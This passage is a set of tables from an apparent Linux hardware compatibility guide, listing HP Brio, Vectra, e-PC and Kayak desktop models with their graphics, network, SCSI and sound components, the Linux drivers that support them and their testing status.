Brio (D6810A, D6812A) | ATI Rage Pro ZX AGP | Yes XFree 4.1.0Rem. (ati) | None | N/A | None | N/A | ??? | ??? | No
Brio (D6638A, D6639A, D6640A, D6644A, D7901A, D7902A, D6645A, D6646A) Chipset BXRem. | ATI Rage Pro ZX AGP | Yes XFree 4.1.0Rem. (ati) | None | N/A | None | N/A | ??? | ??? | No
Brio (D5841A, D6516B) | Matrox Millenium II PCI | Yes XFree 4.1.0Rem. (mga) | None | N/A | None | N/A | ??? | ??? | No
Brio (D6760A, D7671A, D6908A, D7930A, D7672A, D7925T, D6776A, D6769A, D6755A, D6895A, D6896A, D6897A, D7931A) | Matrox Productiva G100 AGPRem. | Yes XFree 4.1.0Rem. (mga) | None | N/A | None | N/A | ??? | ??? | No
Brio BA (D7581A, D7584A, D7585A, D7587A, D7586A, D7591A, D7594A, D8411A) | Sis 5595 AGP | Yes XFree 4.1.0Rem. in Frame Buffer mode (FBDEV)Rem. | None | N/A | None | N/A | Cirrus Logic CS 4614 | Yes driver AlsaRem. | No
Brio BAx (D7600A, D7603A, D7624A, D7625A, D7630A, D7610A)Rem. | Matrox Productiva G200 AGP | Yes XFree 4.1.0Rem. (mga) | None | N/A | None | N/A | Cirrus Logic CS 4614 | Yes driver AlsaRem. | Yes
Brio BAx (D7605A)Rem. | Matrox Productiva G200 AGP | Yes XFree 4.1.0Rem. (mga) | ??? | ??? | None | N/A | Cirrus Logic CS 4614 | Yes driver AlsaRem. | No
Brio BA400 (D8760A, D8761A, D8763A, D8764A, D8767A, D8768A, D8769A, D8934A, D8935A, D8936A, D8943A, D8947A, D8952A, D8953A, D9720A, D9721A, D9724A) | Intel i810 AGPRem. | Yes XFree 4.1.0Rem. (i810) | None | N/A | None | N/A | ??? | ??? | Yes
Brio BA410 (P1682A, P1683A, P1686A, P1687A, P1689A, P1692A, P1694A, P1710A, P1711A, P1718A, P1719A, P1720A, P1722A, 03237A, P2738A, P2739A, P2741A, P2743A, P2745A, P2746A, P3235A, P3263A, P3264A, P3265A, P3266A, P3267A, P3268A, P3269A, P3271A, P3272A, P3662A, P3663A, P3664A, P3665A, P3666A, P4848B, P4849B, P4855B, P4869A, P4870A, P4872A, P5816B, P5817B, P5821B, P5822A) | S3 Savage AGPRem. | Yes XFree 4.1.0Rem. (savage) | None | N/A | None | N/A | VIA 82C686 | Yes driver AlsaRem. | Yes
Brio BA410 (P1716A, P1721A, P1723A, P3270A, P3273A, P4873A) | S3 Savage AGPRem. | Yes XFree 4.1.0Rem. (savage) | SMC 1211 TX EZ Card 10/100 BT | Yes driver rtl8139 | None | N/A | VIA 82C686 | Yes driver AlsaRem. | Yes
Brio BA410 (P2744A, P3274A, P3667A) | nVidia GeForce 2 GTS AGP | Yes XFree 4.1.0Rem. (nv) | None | N/A | None | N/A | VIA 82C686 | Yes driver AlsaRem. | No
Brio BA600 (D8770A, D8771A, D8772A, D8773A, D8778A, D8780A, D8783A, D8784A, D8785A, D8788A, D8789A, D8963A, D9070A, D9072A, D9080A, D9082A, D9085A, D9091A) Chipset BXRem. | Matrox Productiva G200 AGP | Yes XFree 4.1.0Rem. (mga) | None | N/A | None | N/A | Cirrus Logic CS 4614 | Yes driver AlsaRem. | Yes
Brio BA600 (D8406A, D8774A, D8781A, D8787A, D8967A, D9075A) Chipset BXRem. | Matrox Productiva G200 AGP | Yes XFree 4.1.0Rem. (mga) | ??? | ??? | None | N/A | Cirrus Logic CS 4614 | Yes driver AlsaRem. | No

Table 3-2. Vectra and Linux

Machine | Graphic Card | Linux support | Network Card | Linux support | SCSI Card | Linux support | Sound Card | Linux support | Tested
Vectra xe310 (P5829A, P5833A, P5881A, P5902A, P5904A, P6014B, P6015B, P6016A, P6138A) | Intel i810 AGPRem. | Yes XFree 4.1.0Rem. (i810) | None | N/A | None | N/A | Intel 82810 Audio | Yes driver AlsaRem. | Mandrake 8.1
Vectra xe310 (P5865B, P5891A) | Intel i810 AGPRem. | Yes XFree 4.1.0Rem. (i810) | SMC 1211 TX EZ Card 10/100 BT | Yes driver rtl8139 | None | N/A | Intel 82810 Audio | Yes driver AlsaRem. | Mandrake 8.1
Vectra xe310 (P6137A) | Intel i810 AGPRem. | Yes XFree 4.1.0Rem. (i810) | SMC 1211 TX EZ Card 10/100 BT | Yes driver rtl8139 | None | N/A | Intel 82810 Audio | Yes driver AlsaRem. | Preload Mandrake 8.1
Vectra VE5 (D5592A, D5602A, D5603A, D5604A, D5606N, D5608A, D5612A, D5615A, D5618A, D5607A, D5617A) | S3 Trio 64V2 PCI | Yes XFree 3.3.6Rem. (S3) | None | N/A | None | N/A | ??? | ??? | Yes
Vectra VE7 (D6530A, D6531A, D6533A, D6610A, D6611A, D6615A, D6616A, D6613A) | ATI Rage II C AGP | Yes XFree 4.1.0Rem. (ati) | None | N/A | None | N/A | ??? | ??? | Yes
Vectra VE7 (D6532A, D6612A, D6617A, D6618A) | ATI Rage II C AGP | Yes XFree 4.1.0Rem. (ati) | 3Com 905B-TX 10/100 BTRem. | Yes driver 3c59xRem. | None | N/A | ??? | ??? | Yes
Vectra VE8 (D6550A, D6560A, D6570A, D6554A, D6584A, D6540A, D6541A, D6544A, D6543A, D6578A, D6573A, D6574A, D6580A,D6581A, D6584A, D6583A, D6593A, D6597A, D6598A) Chipset BXRem. | Matrox Productiva G100 AGPRem. | Yes XFree 4.1.0Rem. (mga) | None | N/A | None | N/A | AZTEC 2320Rem. | Yes driver AlsaRem. | Yes
Vectra VE8 (D6552N, D6562N, D6565N, D6542A, D6572A, D6575A, D6582A, D6595A, D6582A, D6585N, D6599A) Chipset BXRem. | Matrox Productiva G100 AGPRem. | Yes XFree 4.1.0Rem. (mga) | 3Com 905B-TX 10/100 BTRem. | Yes driver 3c59xRem. | None | N/A | AZTEC 2320Rem. | Yes driver AlsaRem. | Yes
Vectra VEi7 (D8112A, D8117A, D8121A, D8123A, D8124A, D8126A, D8128A, D8129A, D8131A, D8133A, D8134A, D8136A, D8138A, D8139A, D8141A, D8143A, D8144A, D8145A, D8148A, P1618A, P1619A) | Sis 5595 AGP | Yes XFree 4.1.0Rem. in Frame Buffer mode (FBDEV)Rem. | None | N/A | None | N/A | ??? | ??? | Yes
Vectra VEi7 (D8118N, D8122A, D8127N, D8132A, D8137A, P1620A) | Sis 5595 AGP | Yes XFree 4.1.0Rem. in Frame Buffer mode (FBDEV)Rem. | 3Com 905B-TX 10/100 BTRem. | Yes driver 3c59xRem. | None | N/A | ??? | ??? | No
Vectra VEi8 (D8166A, D8168A, D8151A, D8153A, D8155A, D8169A, D8171A, D8173A, D8174A, D8181A, D8183A, D8184A, D8186A, D8188A, D9784A, D9785A, D9786A, D9788A, D9791A, D9793A, P1626A, P1628A, P1633A) | Matrox Productiva G200 AGP | Yes XFree 4.1.0Rem. (mga) | None | N/A | None | N/A | ??? | ??? | No
Vectra VEi8 (D8167N, D8152N, D8172N, D8182N, D8187N, D9787N, D9789A, D9792N, P1627A) | Matrox Productiva G200 AGP | Yes XFree 4.1.0Rem. (mga) | 3Com 905B-TX 10/100 BTRem. | Yes driver 3c59xRem. | None | N/A | ??? | ??? | No
Vectra VL5 (D4552A, D4543A, D4554A, D4555A, D4556A, D4557A, D4558A, D4559A, D4560A, D4567A, D4562A, D4563A, D4572A, D4574A, D4576A, D4579A, D4577A) | S3 Trio 64V2 PCI | Yes XFree 3.3.6Rem. (S3) | None | N/A | None | N/A | ??? | ??? | Yes
Vectra VL6 | Cirrus Logic GD 5446 PCI | Yes XFree 4.1.0Rem. (cirrus) | None | N/A | None | N/A | ??? | ??? | Yes
Vectra VL6 | Matrox Millenium II PCI | Yes XFree 4.1.0Rem. (mga) | None | N/A | None | N/A | ??? | ??? | No
Vectra VL7 (D5710A, D5711N, D5725A, D5720A, D5721N, D5731N, D5797N, D5737A, D5799N) | Cirrus Logic GD 5465 AGPRem. | Yes XFree 4.1.0Rem. (cirrus) | None | N/A | None | N/A | ??? | ??? | Yes
Vectra VL7 (D5734N, D5729N, D5739N, D5728N, D5798N) | Matrox Millenium II PCI | Yes XFree 4.1.0Rem. (mga) | None | N/A | None | N/A | ??? | ??? | No
Vectra VL7 (D5724N, D5796N) | Cirrus Logic GD 5465 AGPRem. | Yes XFree 4.1.0Rem. (cirrus) | AMD 79C971 KC 10/100 BT | Yes driver pcnet32 | None | N/A | ??? | ??? | No
Vectra VL8 (D5880A, D5882A, D5890A, D5891A, D5893A, D5896A, D5898A, D5900A, D5902A, D6945A) Chipset BXRem. | Matrox Productiva G100 AGPRem. | Yes XFree 4.1.0Rem. (mga) | None | N/A | None | N/A | ??? | ??? | No
Vectra VL8 (D5881A, D5883A, D5894A, D5888A, D5892A) Chipset BXRem. | Matrox Productiva G100 AGPRem. | Yes XFree 4.1.0Rem. (mga) | 3Com 905B-TX 10/100 BTRem. | Yes driver 3c59xRem. | None | N/A | ??? | ??? | No
Vectra VL8 (D5887A) Chipset BXRem. | Matrox Productiva G100 AGPRem. | Yes XFree 4.1.0Rem. (mga) | 3Com 905B-TX 10/100 BTRem. | Yes driver 3c59xRem. | ??? | ??? | ??? | ??? | No
Vectra VL8 (D6944A) Chipset BXRem. | Matrox Millenium G200 AGP | Yes XFree 4.1.0Rem. (mga) | None | N/A | None | N/A | ??? | ??? | No
Vectra VL8 (D6940A, D6941A, D6942A) Chipset BXRem. | Matrox Millenium G200 AGP | Yes XFree 4.1.0Rem. (mga) | 3Com 905B-TX 10/100 BTRem. | Yes driver 3c59xRem. | None | N/A | ??? | ??? | No
Vectra VL8 (D6943A) Chipset BXRem. | Matrox Millenium G200 AGP | Yes XFree 4.1.0Rem. (mga) | 3Com 905B-TX 10/100 BTRem. | Yes driver 3c59xRem. | Adaptec AIC 7880 UW PCI | Yes driver aic7xxxRem. | ??? | ??? | Yes
Vectra VLi8 (D7941A, D7943A, D7945A, D7948A, D7951A, D7953A, D7955A, D7961A, D7963A, D7965A, D7958A, D7968A, D7969A, D7973A, D7976A, D9459A, D9460A, D9463A, D9467A, D9774A, D9810A, P1894A, P1898A) | Matrox Millenium G200 AGP | Yes XFree 4.1.0Rem. (mga) | None | N/A | None | N/A | Cirrus Logic CS 4614 | Yes driver AlsaRem. | Yes
Vectra VLi8 (D7826A, D7836A, D7837A, D7846A, D7847A, D7848A, D7856A, D7857A, D7866A, D7867N, D7876A, D7877N, D7942A, D7949A, D7952A, D7959A, D7962A, D7969A, D7972A, D8696A, D8697A, D8950A, D9456A, D9457N, D9461A, D9462A, D9770N, D9771N, D9775A, D9778A, D9779N, D9809A, P1896A, P1899A) | Matrox Millenium G200 AGP | Yes XFree 4.1.0Rem. (mga) | 3Com 905C-TX 10/100 BT | Yes driver 3c59xRem. | None | N/A | Cirrus Logic CS 4614 | Yes driver AlsaRem. | Yes
Vectra VL400 (D9815A, D9816A, D9817A, D9818A, D9819A, D9820A, D9821A, D9822A, D9824A, D9826A, D9828A, D9829A, D9830A, D9831A, D9833A, P1555A, P1556A, P1557A, P1558A, P1560A, P2260A, P2261A, P2266A, P2265A, P2778A, P2779A, P3351A, P3353A, P3389A, P3390A, P3391A, P3394A, P3614A, P3615A, P3616A, P3618A, P3687A, P3691A, P3694A, P3697A, P3698A, P3699A, P3700A, P3702A, P3704A, P3728A, P3730A, P3732A, P3733A, P3734A, P3735A, P3736A, P3737A, P3738A, P3739A, P3740A, P3743A, P3744A, P3745A, P3746A, P3747A, P4110A, P4116A, P4119A, P4120A, P4121A, P4128A, P4129A, P4130A, P4134A, P4136A, P4137A, P4138A, P4140A, P4352A, P4354A, P4355A, P4368A, P4369A, P4370A, P4371A, P4745A, P4746A, P4747A, P4748A, P4752A, P4753A, P5060A, P5069A, P5075A, P5120A, P5121A, P5123A, P5125A, P5126A, P5133A, P5144A, P5598A) Chipset i820Rem. | Intel i815 AGPRem. | Yes XFree 4.1.0Rem. (i810) | 3Com 905C-TX 10/100 BT | Yes driver 3c59xRem. | None | N/A | Intel 82810 Audio | Yes driver AlsaRem. | Yes
Vectra VL400 (D9825A, D9827A, D9832A, D9834A, P1554A, P1559A, P1561A, P1562A, P3352A, P3384A, P3686A, P3701A, P3703A, P3617A, P3619A, P3688A, P3689A, P3690A, P3692A, P3693A, P3695A, P3696A, P4112N, P4113N, P4114N, P4115A, P4117A, P4118A, P4122A, P4123N, P4124N, P4125N, P4126N, P4127N, P4133A, P4356A, P4357A, P4358A, P4359A, P4360A, P4361A, P4362A, P4363A, P4364A, P4365A, P4366A, P4167A) Chipset i820Rem. | Matrox Millenium G450D AGPRem. | Yes XFree 4.1.0Rem. (mga) | 3Com 905C-TX 10/100 BT | Yes driver 3c59xRem. | None | N/A | Intel 82810 Audio | Yes driver AlsaRem. | RedHat 7.0
Vectra VL400 (P2257A) Chipset i820Rem. | Matrox Millenium G400D AGP | Yes XFree 4.1.0Rem. (mga) | 3Com 905C-TX 10/100 BT | Yes driver 3c59xRem. | None | N/A | Intel 82810 Audio | Yes driver AlsaRem. | No
Vectra VL400 (P5083A) Chipset i820Rem. | nVidia GeForce 2 GTS AGP | Yes XFree 4.1.0Rem. (nv) | 3Com 905C-TX 10/100 BT | Yes driver 3c59xRem. | None | N/A | Intel 82810 Audio | Yes driver AlsaRem. | No
Vectra VL410 (D4768A, P5622A, P5957A, P5958A, P5959A, P5960A, P5962A, P5963A, P6096A, P6097A, P6098A) | Intel i810 AGPRem. | Yes XFree 4.1.0Rem. (i810) | Intel PRO 10/100 BT | Yes driver eepro100 or e100 | None | N/A | Analog Device 1885 | Yes driver AD1885 | No
Vectra VL410 (P5964A) | nVidia GeForce 2 GTS AGP | Yes XFree 4.1.0Rem. (nv) | Intel PRO 10/100 BT | Yes driver eepro100 or e100 | None | N/A | Analog Device 1885 | Yes driver AD1885 | No
Vectra VL420 (P5754A, P5755A, P5756A, P5757A, P5761A, P5762A, P5764A, P5765A, P5767A, P5769A, P5770A, P5956A, P5962A, P5967A, P5978A, P5985A, P5988A, P5991A) | ATI Rage 128 AGP 8MB | Yes XFree 4.1.0Rem. (ati) | Intel PRO 10/100 BT | Yes driver eepro100 or e100 | None | N/A | Analog Device 1885 | Yes driver AD1885 | No
Vectra VL420 (P5760A, P5763A, P5766A, P5768A, P5986A, P5990A) | nVidia GeForce 2 GTS AGP | Yes XFree 4.1.0Rem. (nv) | Intel PRO 10/100 BT | Yes driver eepro100 or e100 | None | N/A | Analog Device 1885 | Yes driver AD1885 | No
Vectra VL600 (D9733A, D8643A, D8653A, D8657A, D8663A, D8667A, D9737A, D8647A, D8677A, P2780A, P3285A, P3288A) Chipset i820Rem. | Matrox Millenium G250 AGP | Yes XFree 4.1.0Rem. (mga) | None | N/A | None | N/A | Cirrus Logic CS 4614 | Yes driver AlsaRem. | No
Vectra VL600 (D7543N, D8644N, D8648N, D8654N, D8658N, D8664N, D8668N, D8678A, D9734N, D9738N, P2786A, P3286N, P3289N, P3604N, P3705N) Chipset i820Rem. | Matrox Millenium G250 AGP | Yes XFree 4.1.0Rem. (mga) | 3Com 905C-TX 10/100 BT | Yes driver 3c59xRem. | None | N/A | Cirrus Logic CS 4614 | Yes driver AlsaRem. | No
Vectra VL600 (D8635A, D8645A, D8649N, D8655A, D8659N, D8665A, D8669N, D8679N, D9735A, D9739N, P2787A, P3287A, P3290N, P3344N, P3345N, P3605N, P3606N, P3607N, P3608N, P3610N) Chipset i820Rem. | Matrox Millenium G400D AGP | Yes XFree 4.1.0Rem. (mga) | 3Com 905C-TX 10/100 BT | Yes driver 3c59xRem. | None | N/A | Cirrus Logic CS 4614 | Yes driver AlsaRem. | Yes
Vectra VL600 (P3609N) Chipset i820Rem. | Matrox Millenium G450D AGPRem. | Yes XFree 4.1.0Rem. (mga) | 3Com 905C-TX 10/100 BT | Yes driver 3c59xRem. | None | N/A | Cirrus Logic CS 4614 | Yes driver AlsaRem. | No
Vectra VL600 (D8656N) Chipset i820Rem. | Matrox Millenium G250 AGP | Yes XFree 4.1.0Rem. (mga) | None | N/A | ??? | ??? | Cirrus Logic CS 4614 | Yes driver AlsaRem. | No
Vectra VL800 (P2059A, P2074A, P2076A, P2077A, P2078A, P2080A, P2693A, P3631A, P3633A, P3635A, P3637A, P3638A, P3643A, P3644A) P4 Chipset i850Rem. | Matrox Millenium G450D AGPRem. | Yes XFree 4.1.0Rem. (mga) | 3Com 905C-TX 10/100 BT | Yes driver 3c59xRem. | None | N/A | Cirrus Logic CS 4299 | Yes driver cs4299 | No
Vectra VL800 (P2057A, P2060A, P2075A, P2079A, P2081A, P2694A, P2695A, P3632A, P3634A, P3636A, P3642A) P4 Chipset i850Rem. | nVidia GeForce 2 GTS AGP | Yes XFree 4.1.0Rem. (nv) | 3Com 905C-TX 10/100 BT | Yes driver 3c59xRem. | None | N/A | Cirrus Logic CS 4299 | Yes driver cs4299 | RedHat 7.1
Vectra VL800 (P2696A, P2697A, P3642A) P4 Chipset i850Rem. | nVidia GeForce 2 GTS AGP | Yes XFree 4.1.0Rem. (nv) | 3Com 905C-TX 10/100 BT | Yes driver 3c59xRem. | None | N/A | Sound Blaster Live! | Yes driver emu10k1Rem. | No
Vectra VL800 (P2058A, P3223A, P3224A, P3225A, P3226A, P3640A) P4 Chipset i850Rem. | ATI Rage 128 AGP 8MB | Yes XFree 4.1.0Rem. (ati) | 3Com 905C-TX 10/100 BT | Yes driver 3c59xRem. | None | N/A | Cirrus Logic CS 4299 | Yes driver cs4299 | No
Vectra VL800 (P3639A) P4 Chipset i850Rem. | ATI Rage 128 AGP 8MB | Yes XFree 4.1.0Rem. (ati) | 3Com 905C-TX 10/100 BT | Yes driver 3c59xRem. | None | N/A | Cirrus Logic CS 4299 | Yes driver cs4299 | Preload Mandrake 8.0
Vectra XA (D3986A, D3989A, D3990A, D3991A, D3993A, D4770N, D4771N, D4773N, D4774N, D3994N, D3995N, D4776N) | Matrox Millenium II PCI | Yes XFree 4.1.0Rem. (mga) | AMD 79C971 KC 10/100 BT | Yes driver pcnet32 | None | N/A | ??? | ??? | No
Vectra XA (D4777A) | Matrox Millenium II PCI | Yes XFree 4.1.0Rem. (mga) | AMD 79C971 KC 10/100 BT | Yes driver pcnet32 | Adaptec AIC 7880 UW PCI | Yes driver aic7xxxRem. | ??? | ??? | Yes

Table 3-3. e-PC and Linux

Machine | Graphic Card | Linux support | Network Card | Linux support | SCSI Card | Linux support | Sound Card | Linux support | Tested
e-Vectra (D9896T, D9897T, D9898T, D9899T, P2024T, P2025T, P2027T, P2706T, P2707T) | Intel i810 AGPRem. | Yes XFree 4.1.0Rem. (i810) | 3Com 905C-TX 10/100 BT | Yes driver 3c59xRem. | None | N/A | Intel 82810 Audio | Yes driver AlsaRem. | Yes
e-PC (P2321A, P2760A, P2761A, P2763A, P2765A, P2791A, P2792A, P2793A, P2794A, P2795A, P3355A, P3362A, P4229A, P4230A, P4256A, P4265A, P4266A, P4269A, P4271A, P4272A, P4273A, P4274A, P4278A, P4941A, P4946A, P4949A) | Intel i810 AGPRem. | Yes XFree 4.1.0Rem. (i810) | 3Com 905C-TX 10/100 BT | Yes driver 3c59xRem. | None | N/A | Intel 82810 Audio | Yes driver AlsaRem. | RedHat 7.0
e-PC (P4315A, P4327A, P4328A, P4329A, P5802A) | Intel i815 AGPRem. | Yes XFree 4.1.0Rem. (i810) | Intel PRO 10/100 BT | Yes driver eepro100 or e100 | None | N/A | Intel 82810 Audio | Yes driver AlsaRem. | RedHat 7.1, Mandrake 8.0, 8.1

Table 3-4. Kayak and Linux

Machine | Graphic Card | Linux support | Network Card | Linux support | SCSI Card | Linux support | Sound Card | Linux support | Tested
Kayak XA (D4792A, D4795N) | Cirrus Logic GD 5465 AGPRem. | Yes XFree 4.1.0Rem. (cirrus) | None | N/A | None | N/A | ??? | ??? | No
Kayak XA (D4807N, D4796N, D6491N, D6492N, D4806N, D4808N, D6493N) | Cirrus Logic GD 5465 AGPRem. | Yes XFree 4.1.0Rem. (cirrus) | AMD 79C971 KC 10/100 BT | Yes driver pcnet32 | None | N/A | ??? | ??? | Yes
Kayak XA (D4798N, D6490N, D4799N, D4803N, D6494N) | Cirrus Logic GD 5465 AGPRem. | Yes XFree 4.1.0Rem. (cirrus) | AMD 79C974 KC 10/100 BT + SCSI | Yes driver pcnet32 | Symbios Logic 8751SP with network card | Yes driver ncr53c8xxRem. | Analog Device 1816 | Yes driver AD1816Rem. | Yes
Kayak XA (D4796S, D6493S) | Matrox Millenium II AGP | Yes XFree 4.1.0Rem. (mga) | None | N/A | None | N/A | ??? | ??? | No
Kayak XA (D4803S) | Matrox Millenium II AGP | Yes XFree 4.1.0Rem. (mga) | AMD 79C974 KC 10/100 BT + SCSI | Yes driver pcnet32 | Symbios Logic 8751SP with network card | Yes driver ncr53c8xxRem. | ??? | ??? | No
Kayak XA (D6720N, D6721N, D6723N, D6726N, D6724N, D6730N, D6731N, D6735N, D6736N, D6738N, D6739N, D7994N) | Matrox Millenium G200 AGP | Yes XFree 4.1.0Rem. (mga) | None | N/A | None | N/A | AZTEC 2320Rem. | Yes driver AlsaRem. | No
Kayak XA (D6722N, D6729N, D6734N) | Elsa Gloria Synergy + AGPRem. | Yes XFree 4.1.0Rem. (glint) | None | N/A | None | N/A | ??? | ??? | Yes
Kayak XA (D6725N, D6732N, D6737N, D7993N) | Matrox Millenium G200 AGP | Yes XFree 4.1.0Rem. (mga) | AMD 79C971 KC 10/100 BT + SCSI (D6692A)Rem. | Yes driver pcnet32 | Symbios Logic 53c875 with network card (D6692A) | Yes driver ncr53c8xxRem. | ??? | ??? | Yes
Kayak XA (D6727N) | Elsa Gloria Synergy + AGPRem. | Yes XFree 4.1.0Rem. (glint) | AMD 79C971 KC 10/100 BT + SCSI (D6692A)Rem. | Yes driver pcnet32 | Symbios Logic 53c875 with network card (D6692A) | Yes driver ncr53c8xxRem. | ??? | ??? | No
Kayak XA (D6728N, D6733N) | Accel Galaxy AGP | Yes XFree 4.1.0Rem. in Frame Buffer mode (FBDEV)Rem. Not interesting | None | N/A | None | N/A | ??? | ??? | No
Kayak XA-s (D5751N, D5752N, D5753N, D5755N, D5754N, D5756N, D5759N) Chipset BXRem. | Matrox Productiva G100 AGPRem. | Yes XFree 4.1.0Rem. (mga) | None | N/A | None | N/A | ??? | ??? | No
Kayak XA-s (D5757N, D5758N) Chipset BXRem. | Matrox Productiva G100 AGPRem. | Yes XFree 4.1.0Rem. (mga) | AMD 79C971 KC 10/100 BT + SCSI (D6692A)Rem. | Yes driver pcnet32 | Symbios Logic 53c875 with network card (D6692A) | Yes driver ncr53c8xxRem. | ??? | ??? | Yes
Kayak XA-s (D5765N, D5763N, D5766N, D5769N, D7982N, D7986N, D7991N, D7987N) Chipset BXRem. | Matrox Productiva G200 AGP | Yes XFree 4.1.0Rem. (mga) | None | N/A | None | N/A | ??? | ??? | Yes
Kayak XA-s (D5768N, D5767N) Chipset BXRem. | Matrox Productiva G200 AGP | Yes XFree 4.1.0Rem. (mga) | AMD 79C971 KC 10/100 BT + SCSI (D6692A)Rem. | Yes driver pcnet32 | Symbios Logic 53c875 with network card (D6692A) | Yes driver ncr53c8xxRem. | ??? | ??? | No
Kayak XA-s (D5762N, D7984N, D7988N) Chipset BXRem. | Elsa Gloria Synergy + AGPRem. | Yes XFree 4.1.0Rem. (glint) | AMD 79C971 KC 10/100 BT + SCSI (D6692A)Rem. | Yes driver pcnet32 | Symbios Logic 53c875 with network card (D6692A) | Yes driver ncr53c8xxRem. | ??? | ??? | Yes
Kayak XA-s (D5764N, D7983N, D7989N) Chipset BXRem. | Accel Galaxy AGP | Yes XFree 4.1.0Rem. in Frame Buffer mode (FBDEV)Rem. Not interesting | AMD 79C971 KC 10/100 BT + SCSI (D6692A)Rem. | Yes driver pcnet32 | Symbios Logic 53c875 with network card (D6692A) | Yes driver ncr53c8xxRem. | ??? | ??? | No
Kayak XA-s (D7990N) Chipset BXRem. | Matrox Productiva G100 AGPRem. | Yes XFree 4.1.0Rem. (mga) | AMD 79C971 KC 10/100 BT + SCSI (D6692A)Rem. | Yes driver pcnet32 | Symbios Logic 53c875 with network card (D6692A) | Yes driver ncr53c8xxRem. | ??? | ??? | No
Kayak XA-s (D7992N) Chipset BXRem. | Elsa Gloria Synergy II AGP | Yes XFree 4.1.0Rem. (glint) | AMD 79C971 KC 10/100 BT + SCSI (D6692A)Rem. | Yes driver pcnet32 | Symbios Logic 53c875 with network card (D6692A) | Yes driver ncr53c8xxRem. | Analog Device 1816 | Yes driver AD1816Rem. | Yes
Kayak XM600 (D9531N, D9533N, D9535N, D9541N, D9549N, D9552N, D9553N, D9555N, D9556N, D9557N, D9559N, P1642N, P1645N, P1653N, P1655N, P1658N, P2055N, P2191N, P2202N) | Matrox Millenium G250 AGP | Yes XFree 4.1.0Rem. (mga) | SMC 1211 TX EZ Card 10/100 BT | Yes driver rtl8139 | None | N/A | Cirrus Logic CS 4614 | Yes driver AlsaRem. | No
Kayak XM600 (P1650N, P1652N, P1656N) | Matrox Millenium G250 AGP | Yes XFree 4.1.0Rem. (mga) | SMC 1211 TX EZ Card 10/100 BT | Yes driver rtl8139 | Symbios Logic 53C895 PCI | Yes driver ncr53c8xxRem. | Cirrus Logic CS 4614 | Yes driver AlsaRem. | No
Kayak XM600 (D8350N, D9554N, D9558N) Rem. | Matrox Millenium G250 AGP | Yes XFree 4.1.0Rem. (mga) | SMC 1211 TX EZ Card 10/100 BT | Yes driver rtl8139 | None | N/A | Cirrus Logic CS 4614 | Yes driver AlsaRem. | No
Kayak XM600 (P2054N) Rem. | Matrox Millenium G400D AGP | Yes XFree 4.1.0Rem. (mga) | None | N/A | None | N/A | Cirrus Logic CS 4614 | Yes driver AlsaRem. | No
Kayak XM600 (D9563N) | Matrox Millenium G400D AGP | Yes XFree 4.1.0Rem. (mga) | None | N/A | None | N/A | Cirrus Logic CS 4614 | Yes driver AlsaRem. | No
Kayak XM600 (D9536N, D9537N, D9538N, D9544N, D9548N, P1646N, P1648N, P2192N, P2193N, P2203N, P2204N, P2204N, P2192N, P2193N) | Matrox Millenium G400D AGP | Yes XFree 4.1.0Rem. (mga) | SMC 1211 TX EZ Card 10/100 BT | Yes driver rtl8139 | None | N/A | Cirrus Logic CS 4614 | Yes driver AlsaRem. | No
Kayak XM600 (D9539N, D9565N, P1651N, P1657N, P2190N, P2194N) | Matrox Millenium G400D AGP | Yes XFree 4.1.0Rem. (mga) | SMC 1211 TX EZ Card 10/100 BT | Yes driver rtl8139 | Symbios Logic 53C895 PCI | Yes driver ncr53c8xxRem. | Cirrus Logic CS 4614 | Yes driver AlsaRem. | No
Kayak XM600 (D9550N, D9567N) | Elsa Gloria Synergy II AGP | Yes XFree 4.1.0Rem. (glint) | SMC 1211 TX EZ Card 10/100 BT | Yes driver rtl8139 | None | N/A | Cirrus Logic CS 4614 | Yes driver AlsaRem. | Yes
Kayak XM600 (D9534N, D9540N, D9543N, D9546N, D9564N, P1644N, P1647N, P1649N, P2053N, P2056N, P2195N, P2210N, P2211N) | Elsa Gloria Synergy II AGP | Yes XFree 4.1.0Rem. (glint) | SMC 1211 TX EZ Card 10/100 BT | Yes driver rtl8139 | Symbios Logic 53C895 PCI | Yes driver ncr53c8xxRem. | Cirrus Logic CS 4614 | Yes driver AlsaRem. | Yes
Kayak XM600 (D9545N, D8366N) | 3DLabs Oxygen GVX1 AGP | Yes XFree 4.1.0Rem. in Frame Buffer mode (FBDEV)Rem. | SMC 1211 TX EZ Card 10/100 BT | Yes driver rtl8139 | Symbios Logic 53C895 PCI | Yes driver ncr53c8xxRem. | Cirrus Logic CS 4614 | Yes driver AlsaRem. | Yes
Kayak XU (D4691N, D4692N, D4695N, D4701N, D4693N, D4694N, D4702N, D4705N) | Matrox Millenium II PCI | Yes XFree 4.1.0Rem. (mga) | AMD 79C971 KC 10/100 BT | Yes driver pcnet32 | Adaptec AIC 7860 PCI + Adaptec AIC 7880 UW PCI | Yes driver aic7xxxRem. | ??? | ??? | Yes
Kayak XU (D5680N, D5682N, D5683N, D5684N) Chipset BXRem. | Matrox Millenium II PCI | Yes XFree 4.1.0Rem. (mga) | AMD 79C971 KC 10/100 BT | Yes driver pcnet32 | Adaptec AIC 7860 PCI + Adaptec AIC 7880 UW PCI | Yes driver aic7xxxRem. | Analog Device 1816 | Yes driver AD1816Rem. | Yes
Kayak XU (D5702, D5704, D5686N, D6336N, D6348N, D8431N, D8920N) | Matrox Millenium G200 AGP | Yes XFree 4.1.0Rem. (mga) | AMD 79C972 10/100 BT + SCSI (D6692A)Rem. | Yes driver pcnet32 | Symbios Logic 53c875 with network card (D6692A) + Adaptec AIC 7880 PCI | Yes driver ncr53c8xx and driver aic7xxx | ??? | ??? | Yes
Kayak XU (D5687N, D6333N, D6334N, D8432N, D6345N, D8923N) | Elsa Gloria Synergy + AGPRem. | Yes XFree 4.1.0Rem. (glint) | AMD 79C972 10/100 BT + SCSI (D6692A)Rem. | Yes driver pcnet32 | Symbios Logic 53c875 with network card (D6692A) + Adaptec AIC 7880 PCI | Yes driver ncr53c8xx and driver aic7xxx | ??? | ??? | No
Kayak XU (D6337N, D6346N) | Accel Galaxy AGP | Yes XFree 4.1.0Rem. in Frame Buffer mode (FBDEV)Rem. Not interesting | AMD 79C972 10/100 BT + SCSI (D6692A)Rem. | Yes driver pcnet32 | Symbios Logic 53c875 with network card (D6692A) + Adaptec AIC 7880 PCI | Yes driver ncr53c8xx and driver aic7xxx | ??? | ??? | No
Kayak XU (D6347N) | Matrox Productiva G100 AGPRem. | Yes XFree 4.1.0Rem. (mga) | AMD 79C972 10/100 BT + SCSI (D6692A)Rem. | Yes driver pcnet32 | Symbios Logic 53c875 with network card (D6692A) + Adaptec AIC 7880 PCI | Yes driver ncr53c8xx and driver aic7xxx | ??? | ??? | No
